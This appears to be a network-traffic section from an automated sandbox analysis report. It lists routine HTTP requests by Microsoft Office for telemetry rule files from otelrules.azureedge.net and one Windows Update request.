Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=FGaSAOeh2r9BUX3&MD=Z9fel9Xu HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
